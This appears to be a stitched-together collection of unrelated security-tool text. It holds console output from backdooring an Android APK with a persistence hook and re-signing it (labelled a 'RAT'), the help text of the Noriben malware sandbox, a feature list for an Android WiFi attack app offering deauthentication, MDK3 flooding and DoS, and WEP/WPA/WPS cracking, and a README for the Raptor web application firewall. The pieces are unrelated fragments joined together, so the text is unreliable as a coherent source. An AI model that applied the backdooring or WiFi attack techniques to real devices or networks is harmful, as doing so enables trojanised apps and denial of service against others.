[*] Locating smali file to hook in original project...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.
root@kali:~/Android/evol-lab/BaiduBrowserRat#

--===[ Noriben v1.6 ]===--
--===[   @bbaskin   ]===--

usage: Noriben.py [-h] [-c CSV] [-p PML] [-f FILTER] [--hash HASH]
                  [-t TIMEOUT] [--output OUTPUT] [--yara YARA] [--generalize]
                  [--cmd CMD] [-d]

optional arguments:
  -h, --help            show this help message and exit
  -c CSV, --csv CSV     Re-analyze an existing Noriben CSV file
  -p PML, --pml PML     Re-analyze an existing Noriben PML file
  -f FILTER, --filter FILTER
                        Specify alternate Procmon Filter PMC
  --hash HASH           Specify MD5 file whitelist
  -t TIMEOUT, --timeout TIMEOUT
                        Number of seconds to collect activity
  --output OUTPUT       Folder to store output files
  --yara YARA           Folder containing YARA rules
  --generalize          Generalize file paths to their environment variables.
                        Default: True
  --cmd CMD             Command line to execute (in quotes)
  -d                    Enable debug tracebacks

• View a list of access points and stations (clients) around you (even hidden ones)
• View the activity of a network (by measuring beacons and data packets) and its clients
• Deauthenticate all the clients of a network
• Deauthenticate a specific client from the network it's connected
• MDK3 Beacon Flooding with custom SSID list
• MDK3 Authentication DoS for a specific network or to everyone
• Try to get a WPA handshake or gather IVs to crack a WEP network
• Statistics about access points (only encryption for now)
• See the manufacturer of a device (AP or station) from a OUI database (pulled from IEEE)
• See the signal power of devices and filter the ones that are closer to you
• Leave the app running in the background, optionally with a notification
• Copy commands or MAC addresses to clipboard, so you can run them in a terminal if something goes wrong
• Include the tools
• Reaver WPS cracking (pixie-dust attack using NetHunter chroot and external adapter)
• .cap files cracking with custom wordlist
• Save captured packets in .cap file
• Create custom commands to be ran on an access point or a client with one click

• you are on Android 5+
• you are rooted. SuperSU is required. If you are on CM, install SuperSU
• have installed busybox (opened and installed the tools)
• have a firmware to support Monitor Mode on your wireless interface

• You can block XSS, SQL injection attacks and path traversal with Raptor
• You can use blacklist of IPs to block some users at config/blacklist ip.txt
• You can use IPv6 and IPv4 at communications
• At the future DoS protector, request limit, rule interpreter and Malware detector at uploads.
• At the future SSL/TLS...

$ git clone https://github.com/CoolerVoid/raptor_waf
$ cd raptor_waf; make; bin/raptor

Example

$ bin/Raptor -h localhost -p 80 -r 8883 -w 4 -o loglog.txt

Look the docs